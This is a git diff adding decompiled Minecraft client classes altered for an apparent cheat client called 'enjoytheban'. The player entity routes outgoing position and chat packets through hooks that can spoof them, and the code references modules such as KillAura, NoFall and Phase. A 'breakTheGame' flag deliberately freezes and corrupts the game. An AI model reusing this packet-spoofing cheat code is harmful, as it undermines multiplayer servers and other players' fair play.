+      double var7 = prevPosY + (posY - prevPosY) * p_148615_2_ + p_148615_1_.getEyeHeight();
+      double var9 = prevPosZ + (posZ - prevPosZ) * p_148615_2_;
+      float var11 = MathHelper.cos((var4 + 90.0F) * 0.017453292F);
+      float var12 = MathHelper.sin((var4 + 90.0F) * 0.017453292F);
+      float var13 = MathHelper.cos(-var3 * 0.017453292F);
+      float var14 = MathHelper.sin(-var3 * 0.017453292F);
+      float var15 = MathHelper.cos((-var3 + 90.0F) * 0.017453292F);
+      float var16 = MathHelper.sin((-var3 + 90.0F) * 0.017453292F);
+      float var17 = var11 * var13;
+      float var19 = var12 * var13;
+      float var20 = var11 * var15;
+      float var22 = var12 * var15;
+      sndSystem.setListenerPosition((float)var5, (float)var7, (float)var9);
+      sndSystem.setListenerOrientation(var17, var14, var19, var20, var16, var22);
+    }
+  }
+  
+  class SoundSystemStarterThread extends SoundSystem
+  {
+    private static final String __OBFID = "CL_00001145";
+    
+    private SoundSystemStarterThread() {}
+    
+    public boolean playing(String p_playing_1_)
+    {
+      Object var2 = SoundSystemConfig.THREAD_SYNC;
+      
+      synchronized (SoundSystemConfig.THREAD_SYNC)
+      {
+        if (soundLibrary == null)
+        {
+          return false;
+        }
+        
+
+        Source var3 = (Source)soundLibrary.getSources().get(p_playing_1_);
+        return var3 != null;
+      }
+    }
+    
+
+    SoundSystemStarterThread(Object p_i45118_2_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundPoolEntry.java b/src/minecraft/net/minecraft/client/audio/SoundPoolEntry.java
new file mode 100644
index 0000000..4f0b804
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundPoolEntry.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.audio;
+
+import net.minecraft.util.ResourceLocation;
+
+public class SoundPoolEntry
+{
+  private final ResourceLocation field_148656_a;
+  private final boolean field_148654_b;
+  private double field_148655_c;
+  private double field_148653_d;
+  private static final String __OBFID = "CL_00001140";
+  
+  public SoundPoolEntry(ResourceLocation p_i45113_1_, double p_i45113_2_, double p_i45113_4_, boolean p_i45113_6_)
+  {
+    field_148656_a = p_i45113_1_;
+    field_148655_c = p_i45113_2_;
+    field_148653_d = p_i45113_4_;
+    field_148654_b = p_i45113_6_;
+  }
+  
+  public SoundPoolEntry(SoundPoolEntry p_i45114_1_)
+  {
+    field_148656_a = field_148656_a;
+    field_148655_c = field_148655_c;
+    field_148653_d = field_148653_d;
+    field_148654_b = field_148654_b;
+  }
+  
+  public ResourceLocation getSoundPoolEntryLocation()
+  {
+    return field_148656_a;
+  }
+  
+  public double getPitch()
+  {
+    return field_148655_c;
+  }
+  
+  public void setPitch(double p_148651_1_)
+  {
+    field_148655_c = p_148651_1_;
+  }
+  
+  public double getVolume()
+  {
+    return field_148653_d;
+  }
+  
+  public void setVolume(double p_148647_1_)
+  {
+    field_148653_d = p_148647_1_;
+  }
+  
+  public boolean isStreamingSound()
+  {
+    return field_148654_b;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/audio/SoundRegistry.java b/src/minecraft/net/minecraft/client/audio/SoundRegistry.java
new file mode 100644
index 0000000..a0cf562
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/audio/SoundRegistry.java
@@ -0,0 +1,33 @@
+package net.minecraft.client.audio;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.util.RegistrySimple;
+
+public class SoundRegistry
+  extends RegistrySimple
+{
+  private Map field_148764_a;
+  private static final String __OBFID = "CL_00001151";
+  
+  public SoundRegistry() {}
+  
+  protected Map createUnderlyingMap()
+  {
+    field_148764_a = Maps.newHashMap();
+    return field_148764_a;
+  }
+  
+  public void registerSound(SoundEventAccessorComposite p_148762_1_)
+  {
+    putObject(p_148762_1_.getSoundEventLocation(), p_148762_1_);
+  }
+  
+
+
+
+  public void clearMap()
+  {
+    field_148764_a.clear();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/entity/AbstractClientPlayer.java b/src/minecraft/net/minecraft/client/entity/AbstractClientPlayer.java
new file mode 100644
index 0000000..d431dc2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/entity/AbstractClientPlayer.java
@@ -0,0 +1,172 @@
+package net.minecraft.client.entity;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.network.NetworkPlayerInfo;
+import net.minecraft.client.renderer.ImageBufferDownload;
+import net.minecraft.client.renderer.ThreadDownloadImageData;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.DefaultPlayerSkin;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.StringUtils;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldSettings.GameType;
+import optifine.Config;
+import optifine.Reflector;
+
+public abstract class AbstractClientPlayer extends EntityPlayer
+{
+  private NetworkPlayerInfo field_175157_a;
+  private ResourceLocation locationOfCape = null;
+  private String nameClear = null;
+  private static final String __OBFID = "CL_00000935";
+  
+  public AbstractClientPlayer(World worldIn, GameProfile p_i45074_2_)
+  {
+    super(worldIn, p_i45074_2_);
+    nameClear = p_i45074_2_.getName();
+    
+    if ((nameClear != null) && (!nameClear.isEmpty()))
+    {
+      nameClear = StringUtils.stripControlCodes(nameClear);
+    }
+    
+    optifine.CapeUtils.downloadCape(this);
+    optifine.PlayerConfigurations.getPlayerConfiguration(this);
+  }
+  
+  public boolean func_175149_v()
+  {
+    NetworkPlayerInfo var1 = Minecraft.getMinecraft().getNetHandler().func_175102_a(getGameProfile().getId());
+    return (var1 != null) && (var1.getGameType() == WorldSettings.GameType.SPECTATOR);
+  }
+  
+  public boolean hasCape()
+  {
+    return func_175155_b() != null;
+  }
+  
+  protected NetworkPlayerInfo func_175155_b()
+  {
+    if (field_175157_a == null)
+    {
+      field_175157_a = Minecraft.getMinecraft().getNetHandler().func_175102_a(getUniqueID());
+    }
+    
+    return field_175157_a;
+  }
+  
+  public boolean hasSkin()
+  {
+    NetworkPlayerInfo var1 = func_175155_b();
+    return (var1 != null) && (var1.func_178856_e());
+  }
+  
+  public ResourceLocation getLocationSkin()
+  {
+    NetworkPlayerInfo var1 = func_175155_b();
+    return var1 == null ? DefaultPlayerSkin.func_177334_a(getUniqueID()) : var1.func_178837_g();
+  }
+  
+  public ResourceLocation getLocationCape()
+  {
+    if (!Config.isShowCapes())
+    {
+      return null;
+    }
+    if (locationOfCape != null)
+    {
+      return locationOfCape;
+    }
+    
+
+    NetworkPlayerInfo var1 = func_175155_b();
+    return var1 == null ? null : var1.func_178861_h();
+  }
+  
+
+  public static ThreadDownloadImageData getDownloadImageSkin(ResourceLocation resourceLocationIn, String username)
+  {
+    TextureManager var2 = Minecraft.getMinecraft().getTextureManager();
+    Object var3 = var2.getTexture(resourceLocationIn);
+    
+    if (var3 == null)
+    {
+      var3 = new ThreadDownloadImageData(null, String.format("http://skins.minecraft.net/MinecraftSkins/%s.png", new Object[] { StringUtils.stripControlCodes(username) }), DefaultPlayerSkin.func_177334_a(func_175147_b(username)), new ImageBufferDownload());
+      var2.loadTexture(resourceLocationIn, (ITextureObject)var3);
+    }
+    
+    return (ThreadDownloadImageData)var3;
+  }
+  
+  public static ResourceLocation getLocationSkin(String username)
+  {
+    return new ResourceLocation("skins/" + StringUtils.stripControlCodes(username));
+  }
+  
+  public String func_175154_l()
+  {
+    NetworkPlayerInfo var1 = func_175155_b();
+    return var1 == null ? DefaultPlayerSkin.func_177332_b(getUniqueID()) : var1.func_178851_f();
+  }
+  
+  public float func_175156_o()
+  {
+    float var1 = 1.0F;
+    
+    if (capabilities.isFlying)
+    {
+      var1 *= 1.1F;
+    }
+    
+    IAttributeInstance var2 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+    var1 = (float)(var1 * ((var2.getAttributeValue() / capabilities.getWalkSpeed() + 1.0D) / 2.0D));
+    
+    if ((capabilities.getWalkSpeed() == 0.0F) || (Float.isNaN(var1)) || (Float.isInfinite(var1)))
+    {
+      var1 = 1.0F;
+    }
+    
+    if ((isUsingItem()) && (getItemInUse().getItem() == Items.bow))
+    {
+      int var3 = getItemInUseDuration();
+      float var4 = var3 / 20.0F;
+      
+      if (var4 > 1.0F)
+      {
+        var4 = 1.0F;
+      }
+      else
+      {
+        var4 *= var4;
+      }
+      
+      var1 *= (1.0F - var4 * 0.15F);
+    }
+    
+    return Reflector.ForgeHooksClient_getOffsetFOV.exists() ? Reflector.callFloat(Reflector.ForgeHooksClient_getOffsetFOV, new Object[] { this, Float.valueOf(var1) }) : var1;
+  }
+  
+  public String getNameClear()
+  {
+    return nameClear;
+  }
+  
+  public ResourceLocation getLocationOfCape()
+  {
+    return locationOfCape;
+  }
+  
+  public void setLocationOfCape(ResourceLocation locationOfCape)
+  {
+    this.locationOfCape = locationOfCape;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/entity/EntityOtherPlayerMP.java b/src/minecraft/net/minecraft/client/entity/EntityOtherPlayerMP.java
new file mode 100644
index 0000000..788ce63
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/entity/EntityOtherPlayerMP.java
@@ -0,0 +1,175 @@
+package net.minecraft.client.entity;
+
+import com.mojang.authlib.GameProfile;
+import net.minecraft.client.Minecraft;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityOtherPlayerMP extends AbstractClientPlayer
+{
+  private boolean isItemInUse;
+  private int otherPlayerMPPosRotationIncrements;
+  private double otherPlayerMPX;
+  private double otherPlayerMPY;
+  private double otherPlayerMPZ;
+  private double otherPlayerMPYaw;
+  private double otherPlayerMPPitch;
+  private static final String __OBFID = "CL_00000939";
+  
+  public EntityOtherPlayerMP(World worldIn, GameProfile p_i45075_2_)
+  {
+    super(worldIn, p_i45075_2_);
+    stepHeight = 0.0F;
+    noClip = true;
+    field_71082_cx = 0.25F;
+    renderDistanceWeight = 10.0D;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return true;
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    otherPlayerMPX = p_180426_1_;
+    otherPlayerMPY = p_180426_3_;
+    otherPlayerMPZ = p_180426_5_;
+    otherPlayerMPYaw = p_180426_7_;
+    otherPlayerMPPitch = p_180426_8_;
+    otherPlayerMPPosRotationIncrements = p_180426_9_;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    field_71082_cx = 0.0F;
+    super.onUpdate();
+    prevLimbSwingAmount = limbSwingAmount;
+    double var1 = posX - prevPosX;
+    double var3 = posZ - prevPosZ;
+    float var5 = MathHelper.sqrt_double(var1 * var1 + var3 * var3) * 4.0F;
+    
+    if (var5 > 1.0F)
+    {
+      var5 = 1.0F;
+    }
+    
+    limbSwingAmount += (var5 - limbSwingAmount) * 0.4F;
+    limbSwing += limbSwingAmount;
+    
+    if ((!isItemInUse) && (isEating()) && (inventory.mainInventory[inventory.currentItem] != null))
+    {
+      ItemStack var6 = inventory.mainInventory[inventory.currentItem];
+      setItemInUse(inventory.mainInventory[inventory.currentItem], var6.getItem().getMaxItemUseDuration(var6));
+      isItemInUse = true;
+    }
+    else if ((isItemInUse) && (!isEating()))
+    {
+      clearItemInUse();
+      isItemInUse = false;
+    }
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (otherPlayerMPPosRotationIncrements > 0)
+    {
+      double var1 = posX + (otherPlayerMPX - posX) / otherPlayerMPPosRotationIncrements;
+      double var3 = posY + (otherPlayerMPY - posY) / otherPlayerMPPosRotationIncrements;
+      double var5 = posZ + (otherPlayerMPZ - posZ) / otherPlayerMPPosRotationIncrements;
+      
+
+      for (double var7 = otherPlayerMPYaw - rotationYaw; var7 < -180.0D; var7 += 360.0D) {}
+      
+
+
+
+      while (var7 >= 180.0D)
+      {
+        var7 -= 360.0D;
+      }
+      
+      rotationYaw = ((float)(rotationYaw + var7 / otherPlayerMPPosRotationIncrements));
+      rotationPitch = ((float)(rotationPitch + (otherPlayerMPPitch - rotationPitch) / otherPlayerMPPosRotationIncrements));
+      otherPlayerMPPosRotationIncrements -= 1;
+      setPosition(var1, var3, var5);
+      setRotation(rotationYaw, rotationPitch);
+    }
+    
+    prevCameraYaw = cameraYaw;
+    updateArmSwingProgress();
+    float var9 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+    float var2 = (float)Math.atan(-motionY * 0.20000000298023224D) * 15.0F;
+    
+    if (var9 > 0.1F)
+    {
+      var9 = 0.1F;
+    }
+    
+    if ((!onGround) || (getHealth() <= 0.0F))
+    {
+      var9 = 0.0F;
+    }
+    
+    if ((onGround) || (getHealth() <= 0.0F))
+    {
+      var2 = 0.0F;
+    }
+    
+    cameraYaw += (var9 - cameraYaw) * 0.4F;
+    cameraPitch += (var2 - cameraPitch) * 0.8F;
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack itemStackIn)
+  {
+    if (slotIn == 0)
+    {
+      inventory.mainInventory[inventory.currentItem] = itemStackIn;
+    }
+    else
+    {
+      inventory.armorInventory[(slotIn - 1)] = itemStackIn;
+    }
+  }
+  
+
+
+
+
+
+
+  public void addChatMessage(IChatComponent message)
+  {
+    getMinecraftingameGUI.getChatGUI().printChatMessage(message);
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    return false;
+  }
+  
+  public BlockPos getPosition()
+  {
+    return new BlockPos(posX + 0.5D, posY + 0.5D, posZ + 0.5D);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/entity/EntityPlayerSP.java b/src/minecraft/net/minecraft/client/entity/EntityPlayerSP.java
new file mode 100644
index 0000000..b9f4437
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/entity/EntityPlayerSP.java
@@ -0,0 +1,892 @@
+package net.minecraft.client.entity;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.misc.EventChat;
+import com.enjoytheban.api.events.world.EventMove;
+import com.enjoytheban.api.events.world.EventPostUpdate;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.movement.NoSlow;
+import com.enjoytheban.utils.Helper;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.MovingSoundMinecartRiding;
+import net.minecraft.client.audio.PositionedSoundRecord;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.gui.GuiCommandBlock;
+import net.minecraft.client.gui.GuiEnchantment;
+import net.minecraft.client.gui.GuiHopper;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.gui.GuiRepair;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiScreenBook;
+import net.minecraft.client.gui.inventory.GuiBeacon;
+import net.minecraft.client.gui.inventory.GuiChest;
+import net.minecraft.client.gui.inventory.GuiEditSign;
+import net.minecraft.client.gui.inventory.GuiFurnace;
+import net.minecraft.client.gui.inventory.GuiScreenHorseInventory;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.particle.EffectRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.play.client.C01PacketChatMessage;
+import net.minecraft.network.play.client.C03PacketPlayer;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+import net.minecraft.network.play.client.C03PacketPlayer.C05PacketPlayerLook;
+import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook;
+import net.minecraft.network.play.client.C07PacketPlayerDigging;
+import net.minecraft.network.play.client.C07PacketPlayerDigging.Action;
+import net.minecraft.network.play.client.C0BPacketEntityAction;
+import net.minecraft.network.play.client.C0BPacketEntityAction.Action;
+import net.minecraft.network.play.client.C0CPacketInput;
+import net.minecraft.network.play.client.C0DPacketCloseWindow;
+import net.minecraft.network.play.client.C16PacketClientStatus;
+import net.minecraft.network.play.client.C16PacketClientStatus.EnumState;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatFileWriter;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovementInput;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.World;
+
+public class EntityPlayerSP extends AbstractClientPlayer
+{
+  public final NetHandlerPlayClient sendQueue;
+  private final StatFileWriter field_146108_bO;
+  private double field_175172_bI;
+  private double field_175166_bJ;
+  private double field_175167_bK;
+  private float field_175164_bL;
+  private float field_175165_bM;
+  private boolean field_175170_bN;
+  private boolean field_175171_bO;
+  private int field_175168_bP;
+  private boolean field_175169_bQ;
+  private String clientBrand;
+  public MovementInput movementInput;
+  protected Minecraft mc;
+  protected int sprintToggleTimer;
+  public int sprintingTicksLeft;
+  public float renderArmYaw;
+  public float renderArmPitch;
+  public float prevRenderArmYaw;
+  public float prevRenderArmPitch;
+  private int horseJumpPowerCounter;
+  private float horseJumpPower;
+  public float timeInPortal;
+  public float prevTimeInPortal;
+  private static final String __OBFID = "CL_00000938";
+  
+  public EntityPlayerSP(Minecraft mcIn, World worldIn, NetHandlerPlayClient p_i46278_3_, StatFileWriter p_i46278_4_)
+  {
+    super(worldIn, p_i46278_3_.func_175105_e());
+    sendQueue = p_i46278_3_;
+    field_146108_bO = p_i46278_4_;
+    mc = mcIn;
+    dimension = 0;
+  }
+  
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    return false;
+  }
+  
+
+
+
+  public void heal(float p_70691_1_) {}
+  
+
+
+
+  public void mountEntity(Entity entityIn)
+  {
+    super.mountEntity(entityIn);
+    
+    if ((entityIn instanceof EntityMinecart)) {
+      mc.getSoundHandler().playSound(new MovingSoundMinecartRiding(this, (EntityMinecart)entityIn));
+    }
+  }
+  
+
+
+  public void onUpdate()
+  {
+    if (Helper.onServer("enjoytheban")) {
+      for (Module m : ModuleManager.getModules()) {
+        if ((m.isEnabled()) && (!m.getName().equalsIgnoreCase("Hud")) && (!m.getName().equalsIgnoreCase("Sprint")) && 
+          (!m.getName().equalsIgnoreCase("KillAura")) && (!m.getName().equalsIgnoreCase("AutoHeal")) && 
+          (!m.getName().equalsIgnoreCase("Nametags")) && (!m.getName().equalsIgnoreCase("Fullbright")) && 
+          (!m.getName().equalsIgnoreCase("ChestESP")) && (!m.getName().equalsIgnoreCase("Speed")) && 
+          (!m.getName().equalsIgnoreCase("NoSlow")) && (!m.getName().equalsIgnoreCase("Jesus")) && 
+          (!m.getName().equalsIgnoreCase("Velocity")) && (!m.getName().equalsIgnoreCase("NoFall")) && 
+          (!m.getName().equalsIgnoreCase("Invplus")) && (!m.getName().equalsIgnoreCase("Freecam")) && 
+          (!m.getName().equalsIgnoreCase("Dab")) && (!m.getName().equalsIgnoreCase("Bobbing")) && 
+          (!m.getName().equalsIgnoreCase("ChestStealer")) && 
+          (!m.getName().equalsIgnoreCase("AutoArmor"))) {
+          m.setEnabled(false);
+          Helper.sendMessage("> §cModule disabled on the ETB server.");
+        }
+      }
+    }
+    float aaa = 0.0F;
+    if (worldObj.isBlockLoaded(new BlockPos(posX, 0.0D, posZ))) {
+      if (mc.breakTheGame) {
+        rotationPitch = Math.max(-89.0F, rotationPitch - 50.0F);
+        mc.timer.timerSpeed = aaa;
+        GlStateManager.pushMatrix();
+        GlStateManager.pushMatrix();
+        GlStateManager.pushMatrix();
+      }
+      super.onUpdate();
+      
+      if (isRiding()) {
+        sendQueue.addToSendQueue(
+          new C03PacketPlayer.C05PacketPlayerLook(rotationYaw, rotationPitch, onGround));
+        sendQueue.addToSendQueue(new C0CPacketInput(moveStrafing, moveForward, 
+          movementInput.jump, movementInput.sneak));
+      } else {
+        func_175161_p();
+      }
+    }
+  }
+  
+  public void func_175161_p()
+  {
+    EventPreUpdate e = new EventPreUpdate(rotationYaw, rotationPitch, posY, mc.thePlayer.onGround);
+    EventPostUpdate post = new EventPostUpdate(rotationYaw, rotationPitch);
+    EventBus.getInstance().call(e);
+    if (e.isCancelled()) {
+      EventBus.getInstance().call(post);
+      return;
+    }
+    double oldX = posX;
+    double oldZ = posZ;
+    float oldPitch = rotationPitch;
+    float oldYaw = rotationYaw;
+    boolean oldGround = onGround;
+    rotationPitch = e.getPitch();
+    rotationYaw = e.getYaw();
+    onGround = e.isOnground();
+    boolean var1 = isSprinting();
+    
+    if (var1 != field_175171_bO) {
+      if (var1)
+      {
+        sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.START_SPRINTING));
+      }
+      else {
+        sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.STOP_SPRINTING));
+      }
+      
+      field_175171_bO = var1;
+    }
+    
+    boolean var2 = isSneaking();
+    
+    if (var2 != field_175170_bN) {
+      if (var2)
+      {
+        sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.START_SNEAKING));
+      }
+      else {
+        sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.STOP_SNEAKING));
+      }
+      
+      field_175170_bN = var2;
+    }
+    
+    if (func_175160_A()) {
+      double var3 = posX - field_175172_bI;
+      double var5 = e.getY() - field_175166_bJ;
+      double var7 = posZ - field_175167_bK;
+      double var9 = rotationYaw - field_175164_bL;
+      double var11 = rotationPitch - field_175165_bM;
+      boolean var13 = (var3 * var3 + var5 * var5 + var7 * var7 > 9.0E-4D) || (field_175168_bP >= 20);
+      boolean var14 = (var9 != 0.0D) || (var11 != 0.0D);
+      if (ridingEntity == null) {
+        if ((var13) && (var14)) {
+          sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(posX, e.getY(), 
+            posZ, rotationYaw, rotationPitch, e.isOnground()));
+        } else if (var13) {
+          sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(posX, e.getY(), 
+            posZ, e.isOnground()));
+        } else if (var14) {
+          sendQueue.addToSendQueue(new C03PacketPlayer.C05PacketPlayerLook(rotationYaw, 
+            rotationPitch, e.isOnground()));
+        } else {
+          sendQueue.addToSendQueue(new C03PacketPlayer(e.isOnground()));
+        }
+      } else {
+        sendQueue.addToSendQueue(new C03PacketPlayer.C06PacketPlayerPosLook(motionX, -999.0D, 
+          motionZ, rotationYaw, rotationPitch, onGround));
+        var13 = false;
+      }
+      
+      field_175168_bP += 1;
+      if (var13) {
+        field_175172_bI = posX;
+        field_175166_bJ = e.getY();
+        field_175167_bK = posZ;
+        field_175168_bP = 0;
+      }
+      
+      if (var14) {
+        field_175164_bL = rotationYaw;
+        field_175165_bM = rotationPitch;
+      }
+    }
+    posX = oldX;
+    posZ = oldZ;
+    rotationYaw = oldYaw;
+    rotationPitch = oldPitch;
+    onGround = oldGround;
+    EventBus.getInstance().call(post);
+  }
+  
+  public void moveEntity(double x, double y, double z)
+  {
+    EventMove e = (EventMove)EventBus.getInstance().call(new EventMove(x, y, z));
+    super.moveEntity(e.getX(), e.getY(), e.getZ());
+  }
+  
+
+
+  public EntityItem dropOneItem(boolean p_71040_1_)
+  {
+    C07PacketPlayerDigging.Action var2 = p_71040_1_ ? C07PacketPlayerDigging.Action.DROP_ALL_ITEMS : 
+      C07PacketPlayerDigging.Action.DROP_ITEM;
+    sendQueue.addToSendQueue(new C07PacketPlayerDigging(var2, BlockPos.ORIGIN, EnumFacing.DOWN));
+    return null;
+  }
+  
+
+
+
+
+  protected void joinEntityItemWithWorld(EntityItem p_71012_1_) {}
+  
+
+
+
+  public void sendChatMessage(String p_71165_1_)
+  {
+    EventChat e = new EventChat(com.enjoytheban.api.events.misc.EventChat.ChatType.Send, p_71165_1_);
+    EventBus.getInstance().call(e);
+    if (!e.isCancelled()) {
+      sendQueue.addToSendQueue(new C01PacketChatMessage(p_71165_1_));
+    }
+  }
+  
+
+
+  public void swingItem()
+  {
+    super.swingItem();
+    sendQueue.addToSendQueue(new net.minecraft.network.play.client.C0APacketAnimation());
+  }
+  
+  public void respawnPlayer() {
+    sendQueue.addToSendQueue(new C16PacketClientStatus(C16PacketClientStatus.EnumState.PERFORM_RESPAWN));
+  }
+  
+
+
+
+
+  protected void damageEntity(DamageSource p_70665_1_, float p_70665_2_)
+  {
+    if (!func_180431_b(p_70665_1_)) {
+      setHealth(getHealth() - p_70665_2_);
+    }
+  }
+  
+
+
+  public void closeScreen()
+  {
+    sendQueue.addToSendQueue(new C0DPacketCloseWindow(openContainer.windowId));
+    func_175159_q();
+  }
+  
+  public void func_175159_q() {
+    inventory.setItemStack(null);
+    super.closeScreen();
+    mc.displayGuiScreen(null);
+  }
+  
+
+
+  public void setPlayerSPHealth(float p_71150_1_)
+  {
+    if (field_175169_bQ) {
+      float var2 = getHealth() - p_71150_1_;
+      
+      if (var2 <= 0.0F) {
+        setHealth(p_71150_1_);
+        
+        if (var2 < 0.0F) {
+          hurtResistantTime = (maxHurtResistantTime / 2);
+        }
+      } else {
+        lastDamage = var2;
+        setHealth(getHealth());
+        hurtResistantTime = maxHurtResistantTime;
+        damageEntity(DamageSource.generic, var2);
+        hurtTime = (this.maxHurtTime = 10);
+      }
+    } else {
+      setHealth(p_71150_1_);
+      field_175169_bQ = true;
+    }
+  }
+  
+
+
+  public void addStat(StatBase p_71064_1_, int p_71064_2_)
+  {
+    if ((p_71064_1_ != null) && 
+      (isIndependent)) {
+      super.addStat(p_71064_1_, p_71064_2_);
+    }
+  }
+  
+
+
+
+  public void sendPlayerAbilities()
+  {
+    sendQueue.addToSendQueue(new net.minecraft.network.play.client.C13PacketPlayerAbilities(capabilities));
+  }
+  
+  public boolean func_175144_cb() {
+    return true;
+  }
+  
+  protected void sendHorseJump() {
+    sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.RIDING_JUMP, 
+      (int)(getHorseJumpPower() * 100.0F)));
+  }
+  
+  public void func_175163_u() {
+    sendQueue.addToSendQueue(new C0BPacketEntityAction(this, C0BPacketEntityAction.Action.OPEN_INVENTORY));
+  }
+  
+  public void func_175158_f(String p_175158_1_) {
+    clientBrand = p_175158_1_;
+  }
+  
+  public String getClientBrand() {
+    return clientBrand;
+  }
+  
+  public StatFileWriter getStatFileWriter() {
+    return field_146108_bO;
+  }
+  
+  public void addChatComponentMessage(IChatComponent p_146105_1_) {
+    mc.ingameGUI.getChatGUI().printChatMessage(p_146105_1_);
+  }
+  
+  protected boolean pushOutOfBlocks(double x, double y, double z)
+  {
+    if ((Client.instance.getModuleManager().getModuleByClass(com.enjoytheban.module.modules.player.Freecam.class).isEnabled()) || 
+      (Client.instance.getModuleManager().getModuleByClass(com.enjoytheban.module.modules.world.Phase.class).isEnabled())) {
+      return false;
+    }
+    
+    if (noClip) {
+      return false;
+    }
+    BlockPos var7 = new BlockPos(x, y, z);
+    double var8 = x - var7.getX();
+    double var10 = z - var7.getZ();
+    
+    if (!func_175162_d(var7)) {
+      byte var12 = -1;
+      double var13 = 9999.0D;
+      
+      if ((func_175162_d(var7.offsetWest())) && (var8 < var13)) {
+        var13 = var8;
+        var12 = 0;
+      }
+      
+      if ((func_175162_d(var7.offsetEast())) && (1.0D - var8 < var13)) {
+        var13 = 1.0D - var8;
+        var12 = 1;
+      }
+      
+      if ((func_175162_d(var7.offsetNorth())) && (var10 < var13)) {
+        var13 = var10;
+        var12 = 4;
+      }
+      
+      if ((func_175162_d(var7.offsetSouth())) && (1.0D - var10 < var13)) {
+        var13 = 1.0D - var10;
+        var12 = 5;
+      }
+      
+      float var15 = 0.1F;
+      
+      if (var12 == 0) {
+        motionX = (-var15);
+      }
+      
+      if (var12 == 1) {
+        motionX = var15;
+      }
+      
+      if (var12 == 4) {
+        motionZ = (-var15);
+      }
+      
+      if (var12 == 5) {
+        motionZ = var15;
+      }
+    }
+    
+    return false;
+  }
+  
+  private boolean func_175162_d(BlockPos p_175162_1_)
+  {
+    return (!worldObj.getBlockState(p_175162_1_).getBlock().isNormalCube()) && 
